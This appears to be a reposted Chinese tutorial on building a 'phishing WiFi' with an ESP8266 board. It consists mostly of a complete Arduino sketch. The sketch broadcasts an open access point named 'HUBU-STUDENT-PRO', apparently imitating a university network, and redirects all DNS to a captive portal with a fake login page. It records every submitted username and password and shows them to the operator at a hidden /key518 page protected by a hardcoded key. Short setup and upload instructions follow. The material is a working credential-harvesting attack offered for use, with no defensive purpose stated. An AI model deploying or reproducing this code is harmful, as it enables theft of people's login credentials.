时间:2023-07-22 01:33:01 | 来源:网站运营
时间:2023-07-22 01:33:01 来源:网站运营
近源渗透,超低成本打造自定义专属钓鱼WIFI:Arduino 1.8.13及以上软件配置
http://arduino.esp8266.com/stable/package_esp8266com_index.jsonhttps://raw.githubusercontent.com/SpacehuhnTech/arduino/main/package_spacehuhn_index.json
#include <ESP8266WiFi.h>#include <DNSServer.h>#include <ESP8266WebServer.h>#include <WiFiClient.h>#include <FS.h>// DNS默认端口,无需修改const byte DNS_PORT = 53;// WIFI名称const char *ssid = "HUBU-STUDENT-PRO";// AP的IP地址(即网关地址)IPAddress apIP(192, 168, 1, 1);// 查看存储密码的密码String ppassword = "t123061";DNSServer dnsServer;ESP8266WebServer webServer(80);// 存储账号密码String data = "";// 认证页面String responseHTML = "<html><head><meta http-equiv=/"refresh/" content=/"1;URL='http://192.168.1.1/index.html'/"></head></html>";// 登录失败页面String responseHTML_error = "<html><head><meta http-equiv=/"refresh/" content=/"5;URL='http://192.168.1.1/index.html'/"><h3>没有找到符合条件的策略,5秒后返回</h3></head></html>";String getContentType(String filename){ if(webServer.hasArg("download")) return "application/octet-stream"; else if(filename.endsWith(".htm")) return "text/html"; else if(filename.endsWith(".html")) return "text/html"; else if(filename.endsWith(".css")) return "text/css"; else if(filename.endsWith(".js")) return "application/javascript"; else if(filename.endsWith(".png")) return "image/png"; else if(filename.endsWith(".gif")) return "image/gif"; else if(filename.endsWith(".jpg")) return "image/jpeg"; else if(filename.endsWith(".ico")) return "image/x-icon"; else if(filename.endsWith(".xml")) return "text/xml"; else if(filename.endsWith(".pdf")) return "application/x-pdf"; else if(filename.endsWith(".zip")) return "application/x-zip"; else if(filename.endsWith(".gz")) return "application/x-gzip"; return "text/plain";}// 查看存储的账号和密码void paw(){ if(webServer.arg("key")==ppassword){ webServer.send(200, "text/plain", data); }else{ webServer.send(200, "text/html", responseHTML); }}// 记录从钓鱼界面传过来的账号和密码void pass(){ if(webServer.arg("user") != "" && webServer.arg("pass") != ""){ data += "username:"; data += webServer.arg("user"); data += "----password:"; data += webServer.arg("pass"); data += "/r/n"; webServer.send(200, "text/html", responseHTML_error); }}void background() { File file = SPIFFS.open("/background.jpg", "r"); size_t sent = webServer.streamFile(file, "image/jpeg"); file.close(); return;} void bootstrap() { File file = SPIFFS.open("/bootstrap.css", "r"); size_t sent = webServer.streamFile(file, "text/css"); file.close(); return;} void logo_r() { File file = SPIFFS.open("/logo.png", "r"); size_t sent = webServer.streamFile(file, "image/png"); file.close(); return;} void favicon() { File file = SPIFFS.open("/favicon.ico", "r"); size_t sent = webServer.streamFile(file, "image/x-icon"); file.close(); return;} void main_r() { File file = SPIFFS.open("/main.css", "r"); size_t sent = webServer.streamFile(file, "text/css"); file.close(); return;} void middle_r() { File file = SPIFFS.open("/middle.png", "r"); size_t sent = webServer.streamFile(file, "image/png"); file.close(); return;} void uname_r() { File file = SPIFFS.open("/uname.png", "r"); size_t sent = webServer.streamFile(file, "image/png"); file.close(); return;} void upwd_r() { File file = SPIFFS.open("/upwd.png", "r"); size_t sent = webServer.streamFile(file, "image/png"); file.close(); return;}void index_r(){ File file = SPIFFS.open("/index.html", "r"); size_t sent = webServer.streamFile(file, "text/html"); file.close(); return;}// 首页void handleRoot() { File file = SPIFFS.open("/index.html", "r"); size_t sent = webServer.streamFile(file, "text/html"); file.close(); return;}void setup() { // WIFI配置 Serial.begin(9600); SPIFFS.begin(); WiFi.mode(WIFI_AP); WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0)); WiFi.softAP(ssid); // DNS配置 dnsServer.start(DNS_PORT, "*", apIP); // 配置404网页为首页 webServer.onNotFound([]() { webServer.send(200, "text/html", responseHTML); }); // 配置查看密码网页 webServer.on ("/key518", HTTP_GET, paw); webServer.on("/", handleRoot); // 配置登录接口 webServer.on("/pass", HTTP_GET, pass); webServer.on("/background.jpg", background); webServer.on("/bootstrap.css", bootstrap); webServer.on("/logo.png", logo_r); webServer.on("favicon.ico", favicon); webServer.on("/main.css", main_r); webServer.on("/middle.png", middle_r); webServer.on("/uname.png", uname_r); webServer.on("/upwd.png", upwd_r); webServer.on("/index.html", index_r); webServer.begin();}void loop() { dnsServer.processNextRequest(); webServer.handleClient();}
保存项目,会自动生成一个文件夹存储代码文件,根据步骤3配置好开发板与端口后,点击编译上传,等待上传成功。关键词:定义,打造,渗透,成本